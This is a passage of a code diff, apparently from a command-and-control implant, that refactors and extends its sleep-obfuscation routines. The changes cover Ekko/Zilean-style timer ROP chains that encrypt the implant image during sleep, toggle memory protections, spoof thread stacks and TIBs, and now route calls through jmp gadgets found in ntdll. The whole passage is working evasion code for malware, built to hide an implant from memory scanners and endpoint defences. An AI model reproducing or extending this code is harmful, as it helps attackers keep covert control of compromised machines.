RopSetMemRx->Rip = U_PTR( Instance.Win32.NtProtectVirtualMemory );
|
||||
RopSetMemRx->Rip = U_PTR( Instance->Win32.NtProtectVirtualMemory );
|
||||
RopSetMemRx->Rsp -= U_PTR( 0x1000 * 6 );
|
||||
RopSetMemRx->Rcx = U_PTR( NtCurrentProcess() );
|
||||
RopSetMemRx->Rdx = U_PTR( &TxtBase );
|
||||
RopSetMemRx->R8 = U_PTR( &TxtSize );
|
||||
RopSetMemRx->R9 = U_PTR( dwProtect );
|
||||
*( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
|
||||
*( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
|
||||
*( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( & TmpValue );
|
||||
// NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_EXECUTE_READ, & TmpValue );
|
||||
|
||||
RopSetCtx2->ContextFlags = CONTEXT_FULL;
|
||||
RopSetCtx2->Rip = U_PTR( Instance.Win32.NtSetContextThread );
|
||||
RopSetCtx2->Rip = U_PTR( Instance->Win32.NtSetContextThread );
|
||||
RopSetCtx2->Rsp -= U_PTR( 0x1000 * 5 );
|
||||
RopSetCtx2->Rcx = U_PTR( hDupObj );
|
||||
RopSetCtx2->Rdx = U_PTR( RopCap );
|
||||
*( PVOID* )( RopSetCtx2->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
|
||||
*( PVOID* )( RopSetCtx2->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
|
||||
// NtSetContextThread( Src, Cap );
|
||||
|
||||
RopExitThd->ContextFlags = CONTEXT_FULL;
|
||||
RopExitThd->Rip = U_PTR( Instance.Win32.RtlExitUserThread );
|
||||
RopExitThd->Rip = U_PTR( Instance->Win32.RtlExitUserThread );
|
||||
RopExitThd->Rsp -= U_PTR( 0x1000 * 4 );
|
||||
RopExitThd->Rcx = U_PTR( ERROR_SUCCESS );
|
||||
*( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert );
|
||||
*( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert );
|
||||
// RtlExitUserThread( ERROR_SUCCESS );
|
||||
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopBegin, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetMemRw, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopMemEnc, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopGetCtx, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetCtx, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopWaitObj, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopMemDec, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetMemRx, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetCtx2, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopExitThd, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopBegin, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRw, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemEnc, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopGetCtx, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopWaitObj, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemDec, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRx, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx2, FALSE, NULL ) ) ) goto Leave;
|
||||
if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopExitThd, FALSE, NULL ) ) ) goto Leave;
|
||||
|
||||
if ( NT_SUCCESS( SysNtAlertResumeThread( hThread, NULL ) ) )
|
||||
{
|
||||
RopSpoof->ContextFlags = CONTEXT_FULL;
|
||||
RopSpoof->Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx );
|
||||
RopSpoof->Rsp = U_PTR( Instance.Teb->NtTib.StackBase ); // TODO: try to spoof the stack and remove the pointers
|
||||
RopSpoof->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx );
|
||||
RopSpoof->Rsp = U_PTR( Instance->Teb->NtTib.StackBase ); // TODO: try to spoof the stack and remove the pointers
|
||||
|
||||
// Execute every registered Apc thread
|
||||
SysNtSignalAndWaitForSingleObject( hEvent, hThread, FALSE, NULL );
|
||||
@@ -257,57 +243,57 @@ VOID FoliageObf(
|
||||
|
||||
Leave:
|
||||
if ( RopExitThd != NULL ) {
|
||||
Instance.Win32.LocalFree( RopExitThd );
|
||||
Instance->Win32.LocalFree( RopExitThd );
|
||||
RopExitThd = NULL;
|
||||
}
|
||||
|
||||
if ( RopSetCtx2 != NULL ) {
|
||||
Instance.Win32.LocalFree( RopSetCtx2 );
|
||||
Instance->Win32.LocalFree( RopSetCtx2 );
|
||||
RopSetCtx2 = NULL;
|
||||
}
|
||||
|
||||
if ( RopSetMemRx != NULL ) {
|
||||
Instance.Win32.LocalFree( RopSetMemRx );
|
||||
Instance->Win32.LocalFree( RopSetMemRx );
|
||||
RopSetMemRx = NULL;
|
||||
}
|
||||
|
||||
if ( RopMemDec != NULL ) {
|
||||
Instance.Win32.LocalFree( RopMemDec );
|
||||
Instance->Win32.LocalFree( RopMemDec );
|
||||
RopMemDec = NULL;
|
||||
}
|
||||
|
||||
if ( RopWaitObj != NULL ) {
|
||||
Instance.Win32.LocalFree( RopWaitObj );
|
||||
Instance->Win32.LocalFree( RopWaitObj );
|
||||
RopWaitObj = NULL;
|
||||
}
|
||||
|
||||
if ( RopSetCtx != NULL ) {
|
||||
Instance.Win32.LocalFree( RopSetCtx );
|
||||
Instance->Win32.LocalFree( RopSetCtx );
|
||||
RopSetCtx = NULL;
|
||||
}
|
||||
|
||||
if ( RopSetMemRw != NULL ) {
|
||||
Instance.Win32.LocalFree( RopSetMemRw );
|
||||
Instance->Win32.LocalFree( RopSetMemRw );
|
||||
RopSetMemRw = NULL;
|
||||
}
|
||||
|
||||
if ( RopBegin != NULL ) {
|
||||
Instance.Win32.LocalFree( RopBegin );
|
||||
Instance->Win32.LocalFree( RopBegin );
|
||||
RopBegin = NULL;
|
||||
}
|
||||
|
||||
if ( RopSpoof != NULL ) {
|
||||
Instance.Win32.LocalFree( RopSpoof );
|
||||
Instance->Win32.LocalFree( RopSpoof );
|
||||
RopSpoof = NULL;
|
||||
}
|
||||
|
||||
if ( RopCap != NULL ) {
|
||||
Instance.Win32.LocalFree( RopCap );
|
||||
Instance->Win32.LocalFree( RopCap );
|
||||
RopCap = NULL;
|
||||
}
|
||||
|
||||
if ( RopInit != NULL ) {
|
||||
Instance.Win32.LocalFree( RopInit );
|
||||
Instance->Win32.LocalFree( RopInit );
|
||||
RopInit = NULL;
|
||||
}
|
||||
|
||||
@@ -330,7 +316,7 @@ Leave:
|
||||
MemSet( &Key, 0, sizeof( USTRING ) );
|
||||
MemSet( &Random, 0, 0x10 );
|
||||
|
||||
Instance.Win32.SwitchToFiber( Param->Master );
|
||||
Instance->Win32.SwitchToFiber( Param->Master );
|
||||
}
|
||||
|
||||
/*!
|
||||
@@ -351,56 +337,50 @@ Leave:
|
||||
* @return
|
||||
*/
|
||||
BOOL TimerObf(
|
||||
IN DWORD TimeOut,
|
||||
IN DWORD Method
|
||||
_In_ ULONG TimeOut,
|
||||
_In_ ULONG Method
|
||||
) {
|
||||
/* Handles */
|
||||
HANDLE Queue = NULL;
|
||||
HANDLE Timer = NULL;
|
||||
HANDLE ThdSrc = NULL;
|
||||
HANDLE EvntStart = NULL;
|
||||
HANDLE EvntTimer = NULL;
|
||||
HANDLE EvntDelay = NULL;
|
||||
HANDLE EvntWait = NULL;
|
||||
|
||||
/* buffer/pointer holders */
|
||||
UCHAR Buf[ 16 ] = { 0 };
|
||||
USTRING Key = { 0 };
|
||||
USTRING Img = { 0 };
|
||||
PVOID ImgBase = { 0 };
|
||||
ULONG ImgSize = { 0 };
|
||||
|
||||
/* rop/thread contexts */
|
||||
CONTEXT TimerCtx = { 0 };
|
||||
CONTEXT ThdCtx = { 0 };
|
||||
CONTEXT Rop[ 13 ] = { { 0 } };
|
||||
|
||||
/* some vars */
|
||||
DWORD Value = 0;
|
||||
DWORD Delay = 0;
|
||||
BOOL Success = FALSE;
|
||||
HANDLE Queue = { 0 };
|
||||
HANDLE Timer = { 0 };
|
||||
HANDLE ThdSrc = { 0 };
|
||||
HANDLE EvntStart = { 0 };
|
||||
HANDLE EvntTimer = { 0 };
|
||||
HANDLE EvntDelay = { 0 };
|
||||
HANDLE EvntWait = { 0 };
|
||||
UCHAR Buf[ 16 ] = { 0 };
|
||||
USTRING Key = { 0 };
|
||||
USTRING Img = { 0 };
|
||||
PVOID ImgBase = { 0 };
|
||||
ULONG ImgSize = { 0 };
|
||||
CONTEXT TimerCtx = { 0 };
|
||||
CONTEXT ThdCtx = { 0 };
|
||||
CONTEXT Rop[ 13 ] = { 0 };
|
||||
ULONG Value = { 0 };
|
||||
ULONG Delay = { 0 };
|
||||
BOOL Success = { 0 };
|
||||
NT_TIB NtTib = { 0 };
|
||||
NT_TIB BkpTib = { 0 };
|
||||
NTSTATUS NtStatus = STATUS_SUCCESS;
|
||||
DWORD Inc = 0;
|
||||
NTSTATUS NtStatus = { 0 };
|
||||
ULONG Inc = { 0 };
|
||||
LPVOID ImageBase = { 0 };
|
||||
SIZE_T ImageSize = { 0 };
|
||||
LPVOID TxtBase = { 0 };
|
||||
SIZE_T TxtSize = { 0 };
|
||||
ULONG Protect = { 0 };
|
||||
BYTE JmpBypass = { 0 };
|
||||
PVOID JmpGadget = { 0 };
|
||||
BYTE JmpPad[] = { 0xFF, 0xE0 };
|
||||
|
||||
LPVOID ImageBase = NULL;
|
||||
SIZE_T ImageSize = 0;
|
||||
LPVOID TxtBase = NULL;
|
||||
SIZE_T TxtSize = 0;
|
||||
DWORD dwProtect = PAGE_EXECUTE_READWRITE;
|
||||
ImageBase = TxtBase = Instance->Session.ModuleBase;
|
||||
ImageSize = TxtSize = Instance->Session.ModuleSize;
|
||||
Protect = PAGE_EXECUTE_READWRITE;
|
||||
JmpBypass = Instance->Config.Implant.SleepJmpBypass;
|
||||
|
||||
ImageBase = Instance.Session.ModuleBase;
|
||||
ImageSize = Instance.Session.ModuleSize;
|
||||
|
||||
// Check if .text section is defined
|
||||
if (Instance.Session.TxtBase != 0 && Instance.Session.TxtSize != 0) {
|
||||
TxtBase = Instance.Session.TxtBase;
|
||||
TxtSize = Instance.Session.TxtSize;
|
||||
dwProtect = PAGE_EXECUTE_READ;
|
||||
} else {
|
||||
TxtBase = Instance.Session.ModuleBase;
|
||||
TxtSize = Instance.Session.ModuleSize;
|
||||
if ( Instance->Session.TxtBase && Instance->Session.TxtSize ) {
|
||||
TxtBase = Instance->Session.TxtBase;
|
||||
TxtSize = Instance->Session.TxtSize;
|
||||
Protect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
|
||||
/* create a random key */
|
||||
@@ -408,41 +388,44 @@ BOOL TimerObf(
|
||||
Buf[ i ] = RandomNumber32( );
|
||||
}
|
||||
|
||||
/* set specific context flags */
|
||||
ThdCtx.ContextFlags = TimerCtx.ContextFlags = CONTEXT_FULL;
|
||||
|
||||
/* set key pointer and size */
|
||||
Key.Buffer = Buf;
|
||||
Key.Length = Key.MaximumLength = sizeof( Buf );
|
||||
|
||||
/* set agent memory pointer and size */
|
||||
Img.Buffer = ImgBase = Instance.Session.ModuleBase;
|
||||
Img.Length = Img.MaximumLength = ImgSize = Instance.Session.ModuleSize;
|
||||
Img.Buffer = ImgBase = Instance->Session.ModuleBase;
|
||||
Img.Length = Img.MaximumLength = ImgSize = Instance->Session.ModuleSize;
|
||||
|
||||
if ( Method == SLEEPOBF_EKKO ) {
|
||||
NtStatus = Instance.Win32.RtlCreateTimerQueue( &Queue );
|
||||
NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue );
|
||||
} else if ( Method == SLEEPOBF_ZILEAN ) {
|
||||
NtStatus = Instance.Win32.NtCreateEvent( &EvntWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE );
|
||||
NtStatus = Instance->Win32.NtCreateEvent( &EvntWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE );
|
||||
}
|
||||
|
||||
if ( NT_SUCCESS( NtStatus ) )
|
||||
{
|
||||
/* create events */
|
||||
if ( NT_SUCCESS( NtStatus = Instance.Win32.NtCreateEvent( &EvntTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
|
||||
NT_SUCCESS( NtStatus = Instance.Win32.NtCreateEvent( &EvntStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
|
||||
NT_SUCCESS( NtStatus = Instance.Win32.NtCreateEvent( &EvntDelay, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) )
|
||||
if ( NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
|
||||
NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
|
||||
NT_SUCCESS( NtStatus = Instance->Win32.NtCreateEvent( &EvntDelay, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) )
|
||||
{
|
||||
/* get the context of the Timer thread based on the method used */
|
||||
if ( Method == SLEEPOBF_EKKO ) {
|
||||
NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance.Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
} else if ( Method == SLEEPOBF_ZILEAN ) {
|
||||
NtStatus = Instance.Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance.Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD );
|
||||
NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.RtlCaptureContext ), &TimerCtx, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD );
|
||||
}
|
||||
|
||||
if ( NT_SUCCESS( NtStatus ) )
|
||||
{
|
||||
/* Send event that we got the context of the timers thread */
|
||||
if ( Method == SLEEPOBF_EKKO ) {
|
||||
NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( EventSet ), EvntTimer, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( EventSet ), EvntTimer, Delay += 100, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
} else if ( Method == SLEEPOBF_ZILEAN ) {
|
||||
NtStatus = Instance.Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( EventSet ), EvntTimer, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD );
|
||||
NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( EventSet ), EvntTimer, Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD );
|
||||
}
|
||||
|
||||
if ( NT_SUCCESS( NtStatus ) )
|
||||
@@ -454,7 +437,7 @@ BOOL TimerObf(
|
||||
}
|
||||
|
||||
/* if stack spoofing is enabled then prepare some stuff */
|
||||
if ( Instance.Config.Implant.StackSpoof )
|
||||
if ( Instance->Config.Implant.StackSpoof )
|
||||
{
|
||||
/* retrieve Tib if stack spoofing is enabled */
|
||||
if ( ! ThreadQueryTib( C_PTR( TimerCtx.Rsp ), &NtTib ) ) {
|
||||
@@ -469,28 +452,44 @@ BOOL TimerObf(
|
||||
}
|
||||
|
||||
/* NtTib backup */
|
||||
MemCopy( &BkpTib, &Instance.Teb->NtTib, sizeof( NT_TIB ) );
|
||||
MemCopy( &BkpTib, &Instance->Teb->NtTib, sizeof( NT_TIB ) );
|
||||
}
|
||||
|
||||
/* search for jmp instruction */
|
||||
if ( JmpBypass )
|
||||
{
|
||||
/* change padding to "jmp rbx" */
|
||||
if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) {
|
||||
JmpPad[ 1 ] = 0x23;
|
||||
}
|
||||
|
||||
/* scan memory for gadget */
|
||||
if ( ! ( JmpGadget = MmGadgetFind(
|
||||
C_PTR( U_PTR( Instance->Modules.Ntdll ) + LDR_GADGET_HEADER_SIZE ),
|
||||
LDR_GADGET_MODULE_SIZE,
|
||||
JmpPad,
|
||||
sizeof( JmpPad )
|
||||
) ) ) {
|
||||
JmpBypass = SLEEPOBF_BYPASS_NONE;
|
||||
}
|
||||
}
|
||||
|
||||
/* at this point we can start preparing the ROPs and execute the timers */
|
||||
for ( int i = 0; i < 13; i++ ) {
|
||||
MemCopy( &Rop[ i ], &TimerCtx, sizeof( CONTEXT ) );
|
||||
Rop[ i ].Rip = U_PTR( JmpGadget );
|
||||
Rop[ i ].Rsp -= sizeof( PVOID );
|
||||
}
|
||||
|
||||
/* set specific context flags */
|
||||
ThdCtx.ContextFlags = CONTEXT_FULL;
|
||||
TimerCtx.ContextFlags = CONTEXT_FULL;
|
||||
|
||||
/* Start of Ropchain */
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx );
|
||||
OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx );
|
||||
Rop[ Inc ].Rcx = U_PTR( EvntStart );
|
||||
Rop[ Inc ].Rdx = U_PTR( INFINITE );
|
||||
Rop[ Inc ].R8 = U_PTR( FALSE );
|
||||
Inc++;
|
||||
|
||||
/* Protect */
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.VirtualProtect );
|
||||
OBF_JMP( Inc, Instance->Win32.VirtualProtect );
|
||||
Rop[ Inc ].Rcx = U_PTR( ImgBase );
|
||||
Rop[ Inc ].Rdx = U_PTR( ImgSize );
|
||||
Rop[ Inc ].R8 = U_PTR( PAGE_READWRITE );
|
||||
@@ -498,73 +497,74 @@ BOOL TimerObf(
|
||||
Inc++;
|
||||
|
||||
/* Encrypt image base address */
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.SystemFunction032 );
|
||||
OBF_JMP( Inc, Instance->Win32.SystemFunction032 );
|
||||
Rop[ Inc ].Rcx = U_PTR( &Img );
|
||||
Rop[ Inc ].Rdx = U_PTR( &Key );
|
||||
Inc++;
|
||||
|
||||
/* perform stack spoofing */
|
||||
if ( Instance.Config.Implant.StackSpoof ) {
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtGetContextThread );
|
||||
if ( Instance->Config.Implant.StackSpoof ) {
|
||||
OBF_JMP( Inc, Instance->Win32.NtGetContextThread )
|
||||
Rop[ Inc ].Rcx = U_PTR( ThdSrc );
|
||||
Rop[ Inc ].Rdx = U_PTR( &ThdCtx );
|
||||
Inc++;
|
||||
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.RtlCopyMappedMemory );
|
||||
OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory )
|
||||
Rop[ Inc ].Rcx = U_PTR( &TimerCtx.Rip );
|
||||
Rop[ Inc ].Rdx = U_PTR( &ThdCtx.Rip );
|
||||
Rop[ Inc ].R8 = U_PTR( sizeof( VOID ) );
|
||||
Inc++;
|
||||
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.RtlCopyMappedMemory );
|
||||
Rop[ Inc ].Rcx = U_PTR( &Instance.Teb->NtTib );
|
||||
OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory )
|
||||
Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib );
|
||||
Rop[ Inc ].Rdx = U_PTR( &NtTib );
|
||||
Rop[ Inc ].R8 = U_PTR( sizeof( NT_TIB ) );
|
||||
Inc++;
|
||||
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtSetContextThread );
|
||||
OBF_JMP( Inc, Instance->Win32.NtSetContextThread )
|
||||
Rop[ Inc ].Rcx = U_PTR( ThdSrc );
|
||||
Rop[ Inc ].Rdx = U_PTR( &TimerCtx );
|
||||
Inc++;
|
||||
}
|
||||
|
||||
/* Sleep */
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx );
|
||||
OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx )
|
||||
Rop[ Inc ].Rcx = U_PTR( NtCurrentProcess() );
|
||||
Rop[ Inc ].Rdx = U_PTR( Delay + TimeOut );
|
||||
Rop[ Inc ].R8 = U_PTR( FALSE );
|
||||
Inc++;
|
||||
|
||||
/* undo stack spoofing */
|
||||
if ( Instance.Config.Implant.StackSpoof ) {
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.RtlCopyMappedMemory );
|
||||
Rop[ Inc ].Rcx = U_PTR( &Instance.Teb->NtTib );
|
||||
if ( Instance->Config.Implant.StackSpoof ) {
|
||||
OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory )
|
||||
Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib );
|
||||
Rop[ Inc ].Rdx = U_PTR( &BkpTib );
|
||||
Rop[ Inc ].R8 = U_PTR( sizeof( NT_TIB ) );
|
||||
Inc++;
|
||||
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtSetContextThread );
|
||||
OBF_JMP( Inc, Instance->Win32.NtSetContextThread )
|
||||
Rop[ Inc ].Rcx = U_PTR( ThdSrc );
|
||||
Rop[ Inc ].Rdx = U_PTR( &ThdCtx );
|
||||
Inc++;
|
||||
}
|
||||
|
||||
/* Sys032 */
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.SystemFunction032 );
|
||||
OBF_JMP( Inc, Instance->Win32.SystemFunction032 )
|
||||
Rop[ Inc ].Rcx = U_PTR( &Img );
|
||||
Rop[ Inc ].Rdx = U_PTR( &Key );
|
||||
Inc++;
|
||||
|
||||
/* Protect */
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.VirtualProtect );
|
||||
OBF_JMP( Inc, Instance->Win32.VirtualProtect )
|
||||
Rop[ Inc ].Rcx = U_PTR( TxtBase );
|
||||
Rop[ Inc ].Rdx = U_PTR( TxtSize );
|
||||
Rop[ Inc ].R8 = U_PTR( dwProtect );
|
||||
Rop[ Inc ].R8 = U_PTR( Protect );
|
||||
Rop[ Inc ].R9 = U_PTR( &Value );
|
||||
Inc++;
|
||||
|
||||
/* End of Ropchain */
|
||||
Rop[ Inc ].Rip = U_PTR( Instance.Win32.NtSetEvent );
|
||||
Rop[ Inc ].Rip = U_PTR( Instance->Win32.NtSetEvent );
|
||||
OBF_JMP( Inc, Instance->Win32.NtSetEvent )
|
||||
Rop[ Inc ].Rcx = U_PTR( EvntDelay );
|
||||
Rop[ Inc ].Rdx = U_PTR( NULL );
|
||||
Inc++;
|
||||
@@ -574,12 +574,12 @@ BOOL TimerObf(
|
||||
/* execute/queue the timers */
|
||||
for ( int i = 0; i < Inc; i++ ) {
|
||||
if ( Method == SLEEPOBF_EKKO ) {
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance.Win32.NtContinue ), &Rop[ i ], Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ) ) ) {
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ) ) ) {
|
||||
PRINTF( "RtlCreateTimer Failed: %lx\n", NtStatus )
|
||||
goto LEAVE;
|
||||
}
|
||||
} else if ( Method == SLEEPOBF_ZILEAN ) {
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance.Win32.NtContinue ), &Rop[ i ], Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) {
|
||||
if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) {
|
||||
PRINTF( "RtlRegisterWait Failed: %lx\n", NtStatus )
|
||||
goto LEAVE;
|
||||
}
|
||||
@@ -589,8 +589,6 @@ BOOL TimerObf(
|
||||
/* just wait for the sleep to end */
|
||||
if ( ! ( Success = NT_SUCCESS( NtStatus = SysNtSignalAndWaitForSingleObject( EvntStart, EvntDelay, FALSE, NULL ) ) ) ) {
|
||||
PRINTF( "NtSignalAndWaitForSingleObject Failed: %lx\n", NtStatus );
|
||||
} else {
|
||||
Success = TRUE;
|
||||
}
|
||||
} else {
|
||||
PRINTF( "RtlCreateTimer/RtlRegisterWait Failed: %lx\n", NtStatus )
|
||||
@@ -605,11 +603,9 @@ BOOL TimerObf(
|
||||
PRINTF( "RtlCreateTimerQueue/NtCreateEvent Failed: %lx\n", NtStatus )
|
||||
}
|
||||
|
||||
|
||||
|
||||
LEAVE: /* cleanup */
|
||||
if ( Queue ) {
|
||||
Instance.Win32.RtlDeleteTimerQueue( Queue );
|
||||
Instance->Win32.RtlDeleteTimerQueue( Queue );
|
||||
Queue = NULL;
|
||||
}
|
||||
|
||||
@@ -654,10 +650,10 @@ LEAVE: /* cleanup */
|
||||
UINT32 SleepTime(
|
||||
VOID
|
||||
) {
|
||||
UINT32 SleepTime = Instance.Config.Sleeping * 1000;
|
||||
UINT32 MaxVariation = ( Instance.Config.Jitter * SleepTime ) / 100;
|
||||
UINT32 SleepTime = Instance->Config.Sleeping * 1000;
|
||||
UINT32 MaxVariation = ( Instance->Config.Jitter * SleepTime ) / 100;
|
||||
ULONG Rand = 0;
|
||||
UINT32 WorkingHours = Instance.Config.Transport.WorkingHours;
|
||||
UINT32 WorkingHours = Instance->Config.Transport.WorkingHours;
|
||||
SYSTEMTIME SystemTime = { 0 };
|
||||
WORD StartHour = 0;
|
||||
WORD StartMinute = 0;
|
||||
@@ -682,7 +678,7 @@ UINT32 SleepTime(
|
||||
EndHour = ( WorkingHours >> 6 ) & 0b011111;
|
||||
EndMinute = ( WorkingHours >> 0 ) & 0b111111;
|
||||
|
||||
Instance.Win32.GetLocalTime(&SystemTime);
|
||||
Instance->Win32.GetLocalTime(&SystemTime);
|
||||
|
||||
if ( SystemTime.wHour == EndHour && SystemTime.wMinute > EndMinute || SystemTime.wHour > EndHour )
|
||||
{
|
||||
@@ -719,7 +715,7 @@ VOID SleepObf(
|
||||
VOID
|
||||
) {
|
||||
UINT32 TimeOut = SleepTime();
|
||||
DWORD Technique = Instance.Config.Implant.SleepMaskTechnique;
|
||||
DWORD Technique = Instance->Config.Implant.SleepMaskTechnique;
|
||||
|
||||
/* don't do any sleep obf. waste of resources */
|
||||
if ( TimeOut == 0 ) {
|
||||
@@ -728,8 +724,8 @@ VOID SleepObf(
|
||||
|
||||
#if _WIN64
|
||||
|
||||
